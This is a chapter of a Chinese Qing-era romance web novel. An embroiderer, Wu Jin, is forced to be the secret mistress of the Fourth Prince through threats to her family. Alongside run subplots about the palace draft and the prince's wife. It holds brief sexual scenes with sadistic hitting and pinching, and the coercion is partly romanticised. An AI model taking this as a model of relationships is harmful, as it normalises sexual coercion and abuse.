乌锦却忙着穿针引线,无暇顾及春日的风景,一天要绣上五个时辰。
乌明这家伙这几天闹着不去上学,原因是他每天饿得发昏,学堂上不让吃东西,他一个喜欢吃又吃得多的人连着大半天只能靠一大早用过的那顿早膳撑过三四个时辰,他饿得受不了,于是不想去上学,只想待在家里吃好吃的。
家里人是哭笑不得,只是无论怎么劝乌明,他都不肯再去,隔壁三婶家的二儿子郑之麟跟乌明一块上学的,听说乌明不去上学,他也赖在家里不去官学那边上课。
五六岁的孩子本就好玩,他们这上学的新鲜劲过去了,让他们乖乖坐着听先生讲四书五经,他们坐不住,心生不情愿。
最后是小娘将乌明胖揍一顿,屁股都被打红了,他被打得哗哗掉眼泪,他才肯去上学,不过小娘怕乌明饿了,还是帮他准备不少方便入口的吃食给他,让他饿的时候拿出来吃。
乌明去上学了,郑之麟才跟着去。
在乌明闹腾的这几天,乌锦的月事也结束了,一共五天,第一天跟第二天出血比较多,后面的三天比较少,她自己记下自己来月事的日子,每次来的状况是如何都记在本子上。
钱大婶带着佳仪过来她家,带来她做好的春饼,乌锦在她房间里刺绣,佳仪进来跟她聊天。
十四岁的佳仪在她眼里还是小孩,不过佳仪的确长得好看,小脸白皙又精致,只是身子还没彻底长开,仍有几分稚嫩。
“桃子姐,你在做什么?”
“看,我要将花蝶绣上去。”乌锦将她绣到一半的旗装给佳仪看。
郑佳仪称赞道:“桃子姐,你的绣工真好,我额娘这阵子也让我学刺绣,她说宫里选秀是要选擅长针线活的女子,只是我小时候偷懒,没有好好学,这会怕是来不及了。”
郑佳仪说话温温柔柔的,有着女孩子温顺和善的一面,钱大婶是将佳仪往大家闺秀上面培养,她小时候也带着佳仪一块玩过,其实每个小孩子小时候都是调皮活泼的,长大后才变得举止温婉起来,说话轻声细语的。
“选秀应该不止是看针线活,又不是选绣娘,我听说大婶给你请了宫里出来的嬷嬷教你规矩。”
郑佳仪难得露出几分孩子气,撅嘴抱怨道:“可不是嘛,规矩特多,我昨天还跪了一个时辰,嬷嬷说这宫里的人跪多久身子都不能晃动,我膝盖都跪淤青了,嬷嬷教我的规矩越多,我越不想进宫,我害怕进宫后万一说错话做错事,我会被杀头。”
乌锦宽慰她:“哪有动不动就杀头,别自己吓自己,宫中规矩多,但我想是人都会犯
错,一点小错不至于杀头,若是这样,这宫里天天死人那多不吉利啊。”
郑佳仪一听觉得也对,她笑道:“说得也对,桃子姐,你说我能入选吗?我额娘说她花了不少银子,要是我没有入选,她那些银子都白花了。”
“会的,我们佳仪长得好看,肯定能入选的。”
被夸的郑佳仪腼腆地笑了笑,害羞说她不奢求当别人的嫡福晋,给她指一个跟她年纪差不多的宗室子弟就好,当妾也行。
“肯定能如愿的。”乌锦肯定道,在这个时候不适合给人泼冷水,她顺着佳仪的话说。
“桃子姐,你继续绣吧,我不能耽误你,我在一旁看着就好。”
乌锦点点头,继续刺绣。
等钱大婶跟她额娘她们闲聊完后,郑佳仪才跟着钱大婶回去。
过了半个月,听说今年八旗适龄女子的名单已经由各旗参领、佐领交上去给都统过目核对,而都统也已经将名单交到户部手里,户部逐一核对之后,最后定下的名单已经出来。
初选的日子也定了下来,定在五月初,留两个月给外地的秀女上京,这名单一确定下来,京中就有各种传闻,有人说太子妃已经定下了,选秀只是走个流程。
而传言多兰格格也参加这次选秀,圣上有意将她指给五皇子当嫡福晋,同时都统大人董鄂.朋春之女指给七皇子当福晋。
今年入选的秀女家世优越的不在少数,尚书之女、都统之女、一等公之女,宫中娘娘的妹妹等等。
在乌锦看来,内定的人肯定是有的,选秀更看重家世,家世一般的人顶多指给宗室子弟当妾。
许是换季的缘故,五岁的乌明夜里着凉,开始发烧咳嗽,于是他不用去上学,在家休养,过几日,乌锦也被传染,开始有点发烧,一家人病倒两个。
在她感染风寒发烧之际,她又被叫去宅子那边,她戴上面纱遮住口鼻,见到保泰时,她先把自己发烧的事实告知他。
“世子爷,你还是别靠近我,免得你也被传染上。”
胤禛盯着站在他几步之外的人,他冷声道:“你是不是不想侍寝才编出这个理由?”
“真的不是,我真是发烧了,世子爷千金之躯,要是被我传染而生病,那我岂不是犯下大罪,世子爷若是不信的话,可以摸我的额头看看。”
这人疑心太重,乌锦暗自在心里吐槽一句,她都跟他做过那么多次,至于编这种借口骗他嘛。
胤禛坐在铺炕上,示意她过来,他抬手摸她的额头,的确有点烫,她戴着面纱只露出一双好看的眼睛会让人觉得她有倾城之姿。
“奴婢没骗你,奴婢病了有三日了,这几日都在喝药,要不今天就算了,奴婢怕把病传给世子爷。”
“你别把面纱摘下。”
乌锦疑惑地挑眉,他身边应该不缺女人吧。
胤禛是觉得戴着面纱的乌锦别有一番风味,他都过来了,什么都不做有点可惜,他箍着她的腰,掀起她的下裙,撩起自己的袍角。
乌锦又不能拒绝,反正她病都病了,把病传给他也是好事,最后是他被她传染生重病,她上衣都没脱,就这样来了一次。
事后,两人衣衫较为整齐,简单擦拭过后就结束了。
许是生病的缘故,乌锦反而舒畅不少,剧烈“运动”过后的后遗症,她的面纱在做的过程还是被摘下了,他也亲她了。
“世子爷,你要是生病了,到时候别怪我,是你自己的错。”
胤禛觉得自己没那么容易生病,要是真的病了,他肯定会怪到她头上。
乌锦也不知道该说什么了,他又不走,两人共处总会有几分尴尬,本就不是真正亲密的两个人,做完这档子事后,能聊的东西不多,她又不能打听他的那些妻妾孩子,于是就诡异地彼此沉默。
乌锦默默喝茶,在他起身要离开时连忙说一句恭送世子爷。
胤禛从乌锦的语气中听出几分欢快,她巴不得他赶紧离开,下回他肯定跟她待上一个时辰,看她怎么应对。
胤禛也没想到乌锦的话一语成谶,他真的被她传染了,回去后的第三天,他就病了,跟她一样有些发烧,鼻子呼气都是热的,他在心里骂乌锦,也骂自己昏了头。
福晋乌喇那拉氏晓得四阿哥生病后,又是请太医又是让人去熬药,她不明白好端端的四阿哥为何会突然生病,乾西三所这边这阵子明明没有人生病。
她心想应是换季的缘故,四阿哥生病这事很快就在宫里传遍了,不少人过来探望四阿哥,德妃娘娘派人过来慰问,送来一些补品。
胤禛身子底子好,病了十几天就痊愈了,一痊愈,他就让苏培盛出宫传话召乌锦,得到的消息是乌锦还病着,她怎么病得比他还久,他又让周太医给乌锦看病。
乌锦哪里想到周太医直接会上门到她家给她看病,把她吓到了,她知道肯定是保泰让他过来的,只是突然上门是很吓人的,她跟她额娘跟小娘说是她请来的大夫才这事圆过去。
乌锦也不是身子底子不好,她很少生病,但一病病上半个月一个月其实很正常,普通人家不像皇子有专门的太医医治,有上好的药吃,有专人伺候,他们吃的药可能见效没那么快,哪怕她生病了,她白天还是要刺绣赶工,不能躺着休养,所以比他晚一点痊愈不是稀奇事。
周太医给她写了药方后才离开,他是奉命行事,四阿哥的旨意,他不能不从,要是乌姑娘继续病着,四阿哥就会降罪于他。
乌锦让她小娘去抓药,之前抓的那些药的确见效不快,乌明也还病着,小孩子跟大人不同,不能久病,小病也会拖成大病,显然周太医开的药方上面的药要贵一些,不过也不是负担不起。
连着几天吃重新抓回来的药方熬煮出来的汤药,乌明跟她都有所好转,她额娘说周大夫医术比她家附近医馆的陈大夫要好一些。
能进太医院的太医医术肯定是佼佼者。
乌锦病好后才给谢嬷嬷传话说她病好了,刚传话过去,第二天就被叫去宅子那边,不过距离上一次见面也快过大半个月了。
反正他们除了做那档子事也别无其它,至少他们在床上是熟悉了,他今日心情不错,似是有意逗她,动作放慢许多,磨磨蹭蹭的,反而让她顶着一口气上不去下不来。
“世子爷,你……”
“什么?”
乌锦想让他快些,别磨蹭,只是意识到说出来像是自己在求.欢,于是又闭嘴。
胤禛抬起她的脸,让她看着他,说道:“你可是害我病了十几日。”
乌锦瞪大眼睛:“这怎么能怪我,我明明跟世子爷说了我生病来着,已经提醒过世子爷了,是世子爷自己不听,你生病只能说是你自作自受,怨不得我。”
“谁把病传给我的?”
乌锦懒得跟他争辩,敷衍应道:“是是是,是我的错,我不该把病传给世子爷,千错万错都是我的错,下次我要是病了,我肯定打死也不见世子爷,免得又把病传给世子爷。”
胤禛哪里看不出她在敷衍,他捏了捏她的脸,见到她左脸的伤疤,问了一句:“这是怎么伤的?”
“烧伤,被鞭炮炸到。”
胤禛知道这种烧伤疤肯定是好不了的,他摸了摸她那块疤,有些凸起狰狞。
乌锦抓下他的手:“世子爷,别摸了,摸了它也不会好,我不需要怜悯同情。”
“怜悯?你不会得到我的怜悯的。”
“既然这样,世子爷快些做吧,别说一些有的没的,提起我的伤心事只会让我心情低落,无心伺候世子爷。”
胤禛轻笑出声:“你这是着急了?怕我不给你?”
“我这是怕天黑。”
“还黑不了,慢慢来。”
这是最久的一次,乌锦到最后都筋疲力尽,无力再迎合他,他反而还很精神的样子,精力旺盛得很,她挠他后背一下,轻踹他一脚。
“世子爷,下次
别玩那么久,我受不住。”
胤禛抓住她的脚腕,她四肢其实是纤细的,一只手就能圈住她的脚腕,他笑道:“我看你挺喜欢的,不像是受不住的样子。”
乌锦懒得跟他多说,唤来谢嬷嬷,她先过去净室沐浴净身。
等她走出宅子时已经是申时初,今日天色一直都很暗沉,看上去要下雨一般,果不其然,到半路时,外面就下雨了。
豆大的雨珠噼里啪啦砸在车厢顶部,她让赵师傅慢一些,免得摔得人仰马翻。
原先她都会在铺子那条街道最前面下马车,因为下雨,今日她让赵师傅驶得近一些,她从马车上下来直奔铺子跑去,差点撞到铺子门口站着的一个人,她抬头一看是她小娘。
程连秀是站在门口等乌锦,彩玉说桃子又去王夫人府上了,她总觉得哪里不对劲,怎么会隔半个月又去一次,就算是要补绣,那也该带上绣品一起,但她看桃子从马车上下来两手空空。
“小娘……”
“那是哪家的马车?”
“王夫人看下雨了,让人送我回来,免得淋雨。”
程连秀继续问道:“王夫人可是工部侍郎的妻子王氏,先前你说过她性子大方,为人和善的那个?”
“是,小娘还记得。”
“当然记得,女儿说什么,我都会记得,快进来,别淋到雨,你这病才刚好全,可别再生病了。”程连秀拉着乌锦进铺子里面,替她拂去肩膀上的雨珠,视线落在乌锦的发簪上,这发簪好像今早是插在左边的,但此时却是在右边。
乌锦见小娘没有追着问,她在心里默默松口气,看来她有空得过去王夫人那跟她串好说辞,只是保泰找她越频繁,她去那边的次数越多越容易瞒不住。
当外室可不是什么光宗耀祖的事情,她怕家里人知道后会对她失望。
雨越下越大,街道上没什么行人,等雨势变小,她们关掉铺子回家。
傍晚,天色还是阴沉沉的,乌云笼罩,乾西三所,福晋乌喇那拉氏让膳房的人备膳,今晚四阿哥在她这里用膳。
四阿哥看到满满当当的一桌菜,不由地皱眉,每次过来乌喇那拉氏这用膳,她都兴师动众,恨不得将百八十道菜都摆上来。
他忍不住提醒一句:“下次不要这样,弄这么多,下次传到皇阿玛他们那边,皇阿玛会认为我们铺张浪费,三五道菜即可,超出份例后我们要贴银子的。”
乌喇那拉氏好意张罗,却惹来四阿哥不喜,她虽然失落,但还是应道:“爷,我知道了,下次不会了。”
两人用过膳后就准备洗漱歇息。
夜里,室内燃着烛灯,亮如白昼,乌喇那拉氏跟四阿哥行房的时候突然瞧见四阿哥背后的一道指甲刮痕,像是几个时辰前刚落下的,浅浅的一道红痕。
她心里一紧,四阿哥是回宫后便到她这边了,没有去别院,这道指甲刮痕显然不是别院那些女人留下的,四阿哥白天出宫了。
难不成四阿哥去花楼了?
她不是没听说过朝中一些大臣喜欢去花楼,宫中也传闻大阿哥常去花楼找勾栏女子,但四阿哥从来没有这种传闻,几个成年的阿哥就只有大阿哥有这种传闻。
她入四阿哥后院这六年,她觉得四阿哥是一个洁身自好的人,他身边的妾室少,除了她一个福晋,就只有一个宋格格、李格格与两个通房丫鬟,不比大阿哥妻妾成群。
乌喇那拉氏也不敢问那道红痕是怎么来的,若四阿哥真的去花楼,她也什么都做不了,男人的根子就是如此,妻不如妾,妾不如偷,四阿哥也是男人,说不定他是跟大阿哥一起去的。
她当作不知,没有看到,只是四阿哥今日好像有些疲惫,没一会就结束了,她越发肯定四阿哥今日去了花楼,所以今晚才没有兴致。
她何时才能怀上小阿哥,乌喇那拉氏有些焦虑,歇下时想着她明日得起来喝些温补的汤药,她必须得尽快怀上皇嗣,不然等新人再进四阿哥的后院,她侍寝的机会就更少了。
四阿哥明明今晚说好要过来她这,偏偏他白天还去花楼,乌喇那拉氏有些委屈,偏偏她委屈也不能表现出来,只能忍着,福晋不是那么好当的,多少委屈都往肚子里面吞,就算是四阿哥是她的丈夫,夫妻之间本该坦诚相待,只是四阿哥是尊贵的皇子,她身为福晋也只能捧着自己的丈夫。
在四阿哥面前,她其实跟普通宫女没什么区别,都是伺候人的,不过她是伺候四阿哥。
身旁的人没有动静,应是睡着了,乌喇那拉氏重新睁眼,眼角有一行热泪流出,她没有让自己继续哭下去,将眼泪擦掉后就硬逼自己入睡,不再想这事。
……
四月十日,简亲王府。
多兰今年参加选秀,阿玛跟额娘想让多兰嫁给五阿哥,五阿哥的福晋之位还是空着的。
五阿哥是由皇太后抚养长大,听闻五皇子性子温厚,这对多兰而言是非常好的归宿,只是多兰却不愿意,问她为何不愿,她却不开口。
雅尔江阿作为多兰的亲哥哥,私下问她才知道她喜欢的是四阿哥,只是四阿哥已经有嫡福晋,她若嫁过去只能为妾,皇子的妻与妾可是大有不同,五阿哥的福晋远比四阿哥的妾室要尊贵得多。
家里人知道多兰喜欢四阿哥,想嫁给四阿哥后,纷纷劝她,只是多兰一意孤行,非要入四阿哥的后院,甚至以死相逼。
雅尔江阿觉得他这个妹妹性子太过娇纵,不是会委曲求全、俯首帖耳之人,她若嫁给四阿哥,她上头有一个福晋压着,她自己能把日子过得顺心吗?
况且四阿哥不比五阿哥性子温厚纯良,他这个妹妹绝对降不住四阿哥,也抓不住四阿哥的心,她自己对四阿哥无意还好,偏偏她喜欢四阿哥,他与四阿哥从小一块长大,四阿哥表面温和,但骨子里是冷漠之人,他对娇纵的多兰一直都算不上喜欢,更何况四阿哥还养着一个外室。
多兰真嫁给四阿哥对她而言反而不是好事,也比不上当嫡福晋来得更显贵,她常居在闺房之中,不谙世事,目光短浅。
毕竟是自己的亲妹妹,雅尔江阿不能看着多兰跳入火坑,他面上安抚多兰,私底下跟阿玛商量,还是想办法让多兰当五皇子的福晋,等一切尘埃落定,她不嫁也得嫁。
但这皇子福晋之位,也不是他们家的囊中之物,这里面不仅仅要看圣上的意思,还要看皇太后的意思,不少人都觊觎着皇子福晋之位。
多兰若是选秀过程中表现得好,既得圣上喜欢,又得皇太后喜欢,这事才会十拿九稳,不然一切都说不准。
他们家往宫里周旋,别人肯定也想办法周旋。
选秀的日子越来越近,他们将多兰拘在家中,让她学规矩。
多兰以为家里人同意她嫁给四阿哥,哪怕让她学规矩,她也没有怨言。
第42章第42章更新
第42章
五月二日,初选日,各家将秀女送到神武门前,听闻神武门的骡车跟马车排得不见尾,乌锦的阿玛这次作为小佐领是领着镶蓝旗的秀女过去排队,从早到晚,快天黑才归家。
一家人用晚膳时,他就开始细说所见所闻,秀女进宫选秀,但他不可以跟着进宫,满蒙汉,汉军旗的秀女排在最后,说哭着出来的秀女是落选的,笑着出来的是入选的。
她阿玛说的时候脸上露出骄傲的神情,他这个小佐领当差当着很开心,乌锦看着他阿玛高兴说着见闻的样子,不由跟着染上几分笑意。
“对了,郑家的女儿入选了。”
完颜氏气得拍一下乌志善的手背:“那些不紧要的说了这么多,紧要的你不先说,佳仪真的入选了?”
乌志善说是真的。
完颜氏直接起身往外走,过去郑家一趟给他们道喜。
郑佳仪的确过了初选,复选是十日后,听闻复选是由皇太后与宫中几位娘娘一块挑选,初选结束后,郑家对郑佳仪更是看重,又请了一个宫里出来的老嬷嬷教郑佳仪规矩。
平日里钱大婶跟三婶她们闲着没事会过来找她额娘跟小娘聊天,这几日都没空过来。
秀女们哪怕是只过了初选,要是最后落选
,凭着过初选的名头也能比原来嫁得高一些。
乌锦这几日因为所有绣活都完成了,人也开始闲下来,爱新觉罗.保泰也有一个月没来找她,她日子过得轻松自在许多。
小舅家添新丁,乌锦跟她额娘过去小舅家帮忙,这是小舅家第二个孩子,小舅妈前年生了一个,只是不到半年就夭折了,小舅房中只有小舅妈一人,没有妾室。
普通人家无论娶妻纳妾都是要花银子的,小舅前几年才领了旗缺,每个月二两银子的月俸只够夫妇两人过日子,有了她小表妹后日子就过得更紧巴巴了,没有余钱纳妾养另外一个人,有时候小舅上头的几个姐姐,包括她额娘偶尔都会支助小舅一家。
乌锦抱着刚出生几天的小表弟,他眼睛还没有睁开,皱皱巴巴的,特别轻特别小的一个小人儿,他没哭都分不清他是在睡觉还是醒着的。
“你小舅说等孩子满月,要摆上一桌宴,当年云珠出生的时候都没摆上,这次无论如何都要弄一次满月酒。”小舅妈侧躺着跟她说话,刚生完孩子的她还很虚弱。
乌锦知道当年小表妹出生时没摆酒是因为小表妹是女儿,小表妹刚出生时,小舅跟小舅妈都有点失望,本来他们期盼是儿子来着的,这回让他们如愿了。
“嗯,应该的,有什么需要我们帮忙的,小舅妈尽管说。”
乌锦话语刚落,小表弟就哭了,小舅妈说他应该是饿了,她抱过去让小舅妈给小表弟喂奶,她额娘进屋,端来一碗炖好的鸡汤。
小表弟这一哭,也把睡在榻上的小表妹吵醒,四岁的小表妹醒来后还懵懵的,乌锦给她剥一个橘子,她坐在榻上一瓣一瓣地吃着。
“云珠,你也喝一碗鸡汤好不好?”乌锦说道。
云珠摇头说:“鸡汤是额娘喝的,我不能喝。”
乌锦摸着小表妹的头,笑道:“没事,炖了一只鸡呢,额娘喝不完那么多,我给你盛一碗,在里面给你放一只鸡腿好不好?”
云珠很想吃,乖巧地点头。
乌锦盛一碗鸡汤给小表妹。
她跟她额娘就这样在小舅妈家待了三天,乌锦给了小舅妈五两银子,后面她的二姨过来照顾小舅妈,小表妹才四岁,小舅妈还在坐月子,身子虚弱,白天小舅在营里当差,只能是她们这些亲戚轮流过来照顾小舅妈跟两个孩子。
在她们轮流照顾她小舅妈这半个月,复选也结束了,郑佳仪进了复选,只要过了终选的秀女基本上会被赐婚,要么留在皇宫中当圣上的小主嫔妃,要么分给皇室王公或宗室子弟。
郑家这边突然间冒出不少亲戚来访,快要踏破门槛了,三婶过来她家跟她额娘抱怨说那些亲戚平日里都不见人影,这会才冒出来,不就是看佳仪要当上主子才过来巴结,赶都赶不走。
三婶说她是过来她家躲清闲的,那些亲戚让大婶去应付。
乌锦边听着三婶的抱怨边打络子,见到彩玉进来时,她才放下络子,跟彩玉出去。
彩玉小声跟她说谢嬷嬷来铺子找她,不过被她小娘瞧见,小娘把谢嬷嬷留下,问谢嬷嬷是哪家人。
“谢嬷嬷怎么说?”
“那谢嬷嬷说她是从外城过来的,是过来找小姐绣一件挂屏,她是小姐,我看那谢嬷嬷挺着急的,二太太在,我也没敢多跟她说话。”
“你们两干什么呢,彩玉,你怎么从铺子那边回来了?”完颜氏从屋内出来,见到两人在窃窃私语,忍不住问了一句。
“是铺子那边有人找小姐。”彩玉心虚地解释一句。
乌锦跟她额娘说她过去铺子那边看看。
她额娘摆摆手示意她们可以过去,早点回来就是,并未起疑心,但乌锦知道她小娘绝对是起疑心了,小娘心思比她额娘更细腻,也意味着不好糊弄,她希望谢嬷嬷别说漏。
等乌锦跟彩玉到绣秀苑时,谢嬷嬷还在,她小娘跟谢嬷嬷正面对面坐着喝茶,见到她过来,谢嬷嬷站起来,对着她笑道:“乌姑娘过来了,我家夫人说乌姑娘的绣工精湛,乌姑娘绣的春衣很合身很好看,正想找乌姑娘绣一件挂屏,准备给家里的老人贺寿。”
乌锦顺着谢嬷嬷的话道:“挂屏?挂屏不好绣,恐怕需三五个月,来得及吗?”
“老人家的寿辰在十二月,不知乌姑娘现在有没有空,我家夫人想见乌姑娘,跟乌姑娘说说挂屏要绣什么图案。”
乌锦看向她小娘:“那我过去一趟。”
程连秀点点头。
乌锦这才跟着谢嬷嬷一块走出铺子,马车停在街道最前面,她们上了马车。
“方才多亏谢嬷嬷帮我圆谎。”
“这是我该做的,只是方才你额娘问我是哪家的下人,我没告诉她,她也没有追问。”
乌锦叹口气,反正小娘绝对是起疑心了,她都不知道要如何跟小娘解释,她到那边后,进屋见到等得一脸不耐烦的保泰。
她屈膝行礼,先认错:“是奴婢来晚了,让世子爷久等了,奴婢知错。”
胤禛冷声道:“你别以为你先认错,我就会不会罚你。”
乌锦低头,暗暗撇嘴,他自己突发奇想过来找她,又没有提前告知她,她来迟了能怪她嘛,这是在京城外城,又不是内城,她又不是故意耽搁,他若是像之前那样提前一日,他也不需要等。
想归想,她还是继续认错:“是奴婢的不对,奴婢今日好好伺候世子爷来将功赎罪。”
她起身走近他,踮脚帮他解开上襟的扣子。
胤禛此时想的是他就该让她一直待在这间宅子里,哪也不许去,乖乖等着他过去,他一来,她就得伺候他,而不是他需要等她过来。
既然当了外室,她就该守在宅子里,他当初就不该让她自由进出,还可归家,住在家里,她这样子别人还以为她是没出阁的姑娘。
胤禛已经开始想着把她困在这间宅子里,脖子被勒了一下,他抬眸看她。
“世子爷,你专心点。”
胤禛这才收回思绪,抬起她的下巴,低头吻下去,拿她来降降燥火。
事后,乌锦看到身上一些红红跟青紫的痕迹,不由地皱眉,唤来谢嬷嬷给她拿药,故意当着他的面抹药膏。
“这些印记穿上衣服后就看不到了。”
乌锦难得瞪他,这人真是施虐狂,他刚才是直接将她拍红掐紫,不用看她屁股后面就是红了,被扇红的。
“世子爷,你若真的喜欢这样,下次换我扇你。”
胤禛就喜欢这种向他人施虐的快.感,尤其是她的皮肤薄,轻轻一碰就有痕迹,他觉得自己能完全掌控这个人,这个人的生死在他手里,他是喜欢这种感觉,是养了乌锦这个外室,他才发现自己有这个癖好。
“我给你抹吧。”
“世子爷这是黄鼠狼给鸡拜年,没安好心,我成这样还是拜世子爷所赐,世子爷,我也是俗人,不是金刚不坏之身,世子爷若是想施虐,我去给世子爷找一座铜像过来,世子爷想怎么打怎么扇都行,铜像不会痛,我会痛,不敢劳世子爷大驾,我自己来。”
乌锦不让他碰,自己给自己擦药。
胤禛这会心情好,听着她的抱怨指责也没有生气,见她擦药时手不敢长,伸不到后面去,样子有些笨拙,他还是拿过药膏,主动帮她擦药。
他还是头一次给人擦药,平日里都是别人伺候他,这女人命好,有这种待遇。
“你擦药就不能轻一点嘛,擦药还那么大力。”他心情好,乌锦心情不好,她还想着小娘疑心的事,这人又在她
身上留下痕迹,虽说没有露出来,但她怕小娘不小心瞥见,那她就更解释不清了,于是她对着他,忍不住指责,气得想狠踹他一脚。
胤禛还是放轻力道,将她全身都抹一遍,药膏的味道顿时变得刺鼻起来,他无所谓说道:“又没有破皮,顶多一两日就消退了。”
乌锦一听这话,气更是不打一处来,直接抬脚踹他。
被踹的胤禛眼底闪过一抹怒气,最后还是压下,他抓住她的脚腕,将她压在身下,压制住她不让她动弹,四目相接时,她偏过头,不跟他对视,他吻上去,吻得很凶,带有一股疯狂肆意的意思。
过了一会儿,他才放开她。
乌锦没有说话,静静躺在床上。
胤禛觉得胡闹够了,天也快黑了,他起身穿好衣服,准备离开。
“三日后,你在这里等我。”
“听不见。”
胤禛知道她在气头上,她还跟他闹起脾气了,简直认不清自己的身份,他居高临下对着床上的人说:“三日后若是我不见你,你知道后果的。”
乌锦沉默。
胤禛晓得她肯定听到了,于是他抬脚离开。
乌锦重新梳洗一番后才离开,她回到铺子时,小娘已经先回去了,铺子里只有彩玉一个人在等她。
她问她跟谢嬷嬷走后,小娘有什么说什么。
“什么也没说。”
申时末,乌锦跟彩玉将铺子关了,慢慢走回家。
天刚刚黑,傍晚的风有些凉。
两人回到家后,晚膳已经做好了,乌明已经急得坐在膳桌前先吃了,乌安一向很规矩,还没有动筷。
乌锦跟彩玉洗洗手也坐下来,因为小舅妈在坐月子,她额娘买了十几只在院子里养着,今日的菜是炖鸡,一共两大盘,一整只鸡,里面还放了红枣香菇。
“都吃完,不用留到明天,桃子,明天你跟我再去你小舅家一趟照顾你小舅妈,等她出了月子就不用过去了。”完颜氏交代道。
乌锦嗯了一声,四只鸡腿,乌明吃了三只,剩下一只时,乌锦刚夹见到乌安也盯着这只鸡腿,她便把鸡腿放到乌安碗中。
乌安乐得眼睛眯成一条线,手抓着鸡腿慢条斯理地吃,比起乌明的大快朵颐,他吃相斯文多了。
晚膳结束后,乌锦回到她的房间,过一会儿,她小娘就进来了。
“桃子,小娘跟你聊聊。”
小娘严肃的样子让乌锦忍不住点头,示意小娘进来,两人都坐在床上,乌锦的手被握住。
“今天那个谢嬷嬷是哪个府上的下人?”
“是外城一户商家府里的嬷嬷。”
“可是那辆马车我先前见过,上次下雨那天,也是那辆马车送你回铺子的,你说是王夫人让人送你回来的,什么时候王夫人变成一户商家了?”
乌锦知道瞒不过小娘,她很是犹豫,开口说让她小娘先别管这事,以后该说的时候她会说的。
程连秀就怕桃子在外面遇到麻烦,前几次她总是莫名其妙出现一些伤口,这属实不正常,这么大人了,哪那么容易磕磕碰碰,就怕是别人伤的,她急得眼泪快要出来了。
“桃子,有什么事你别一个人撑着,你告诉小娘,到底怎么了?为何你三番两次不在铺子里,你去哪里了?你说出来,我们才能帮你,你别一个人傻乎乎扛着,你急匆匆跟张宗订婚,结果又退婚,你之前从来不会这样的,还有那些银子,小娘知道铺子的生意再好,也不会多出那么多银子,你告诉小娘,那些银子从哪来的?”
乌锦无法启齿,她眼泪也默默流下来。
“小娘,你别问了,反正我没事,乌家也没事,你就别问了,你当做不知道这些事,我不能说,我们家也解决不了。”
程连秀手握得更紧了,紧张道:“是不是得罪什么人了?我们可以把家里所有银子都给他们。”
乌锦稍微冷静一下,还是交代一些事:“银子解决不了,那人不要银子,是我们得罪不起的人,是一个可以砍我们全家的脑袋却可以平安无事的人,小娘,你别问了,不管怎么样,我都还活着,我们乌家的人也都还活着,这比什么都重要。”
程连秀脸色变白,她隐隐明白乌家现在之所以无事,那是桃子用她自己换来的。
“是简世子吗?”
“不是简世子,那人比简世子更尊贵,我如今是他的外室。”
程连秀大吃一惊,外室?
“那人逼迫你当他的外室?”
“张宗受重伤,险些丧命,阿玛先前下狱迟迟未归均是那人逼迫我的手段,但阿玛升为佐领还有乌明入官学的事是那人帮乌家,小娘,我想说的是不管我当初情不情愿,如今事成定局,我已是他的外室,这一点在他还没厌倦我之前是不会改变的,那人是我们得罪不起的,只能走一步看一步,只要我们还活着,保住乌家,其它的都不重要。”
程连秀已经惊得没法说话,当初自家丈夫下狱后迟迟未归,他们家找遍关系都没有办法将人救出,原来是真的得罪人了。
外室是什么,那是见不得光的身份,是被人唾弃,被人看不起的,桃子绝不是主动当人外室的性子,定是那人逼迫,她是为了保全乌家才委身当他人外室,是他们拖了桃子后腿。
程连秀快泣不成声,眼泪簌簌而下:“我苦命的女儿,我们可以告到衙门那边,我不信这天底没有王法。”
“小娘,我们只能认了,况且其实我们还是得了一些好处,小娘,你就别管这事,当做不知,其它的我会自己看着办的。”
乌锦原本想说那人对她还行,但她说不出来这话。
“小娘,别哭了,别让额娘他们听到,这事我与你一人说,你放在心里,别跟阿玛额娘说,也许再过半年一年,那人厌倦了就会放过我,你说的银子也是那人给我的,你看其实也没那么糟。”
可是女孩子的清白没了,以后很难再嫁人,还有桃子身上的伤口肯定是她口中的那个人所伤,权贵又怎么会把人命看在眼里,万一他想杀了桃子怎么办。
他们的日子可以过得清贫一些,靠自己的双手赚钱,自家丈夫也可以不升官,也比如履薄冰地做人外室,每日有性命之忧好。
程连秀担心自家女儿没命,没什么比命重要。
乌锦替小娘擦去眼泪,她扬出笑容安慰她:“是真的没事,小娘不用担心我,你看我如今都好好的,大不了以后不嫁人,伺候你们一辈子,希望小娘到时候别嫌弃我一个老姑娘这么大年纪还待在家里。”
“说什么呢,小娘怎么会嫌弃你,小娘是心疼你,你为了这个家,付出太多了。”
程连秀也想明白了,桃子口中的那个人比简世子身份还要尊贵,恐怕是个王爷之类的人,他们家怎么跟皇家抵抗得过,王爷一张口就可以要了乌家所有人的性命,估计也是这一点让桃子委身于他,当了那个人的外室,桃子也借着那人的势让自家丈夫升官,乌明也顺利入了官学。
乌家是因此获益的,真正受苦的人只有桃子,这个女儿真的是为了这个家牺牲付出太多了,告衙门的确不管用,既然是王爷了,怎么会怕你告衙门,恐怕人刚到衙门,衙门的人就传话过去给王爷了。
程连秀也不知道该怎么办才好。
“小娘,别想太多,顺其自然,船到桥头自然直,跟往常一样,我们还是安心过日子,你当做不知此事,别对旁人说起就行。”
程连秀的确没有其它办法,她这个当娘的人没用,最后还是自家女儿宽慰起她,她红着一双眼睛走出房间,也好在自家丈夫今晚宿在完颜氏那里,她一晚上想着这事,越想越心惊,直接睁眼到天明。
清晨得起早给两个孩子弄早膳,程连秀没睡直接醒了,起来弄吃的,帮两个孩子装好今天要带去官学吃的零嘴。
“小娘,你眼睛怎么了?”乌安注意到自家额娘眼睛布满血丝,又红又肿,问了一句。
程连秀看着自己这个大儿子,突然严肃道:“乌安,你永远记得你姐姐对你的好,永远孝顺你姐姐,无论你将来有没有出息,成不成家,你姐姐都是
你的家人,你不可以嫌弃她,你一辈子都得养着你姐姐,知不知道?”
乌安虽说是小大人,平日里寡言成熟,但毕竟也只是一个九岁的小孩,听到自家额娘突然说这番话,他有点摸不着头脑,只是顺着回道:“我没有嫌弃姐姐,我觉得姐姐对我很好,我只是昨天想吃鸡腿才吃的,不是故意跟姐姐抢。”
程连秀依旧严肃:“反正你一辈子都要对你姐姐好,不要忘恩负义!你要记住你姐姐是你的大恩人,没有她就没有你,你要上进,别像你阿玛那样一辈子庸庸碌碌,你要当大官,以后当你姐姐的靠山,别让你姐姐被人欺负去,知不知道?”
乌安只有乖乖点头,说他知道了。
程连秀看自己那个好吃的小儿子,这个时候也在吃,她就没有对乌明说这番话,估计他也听不懂,不中用的儿子,就知道吃,她气得敲一下乌明的脑袋。
送两个儿子去官学那边后,程连秀才返家,倒头睡过去,不再想着乌锦当外室的事。
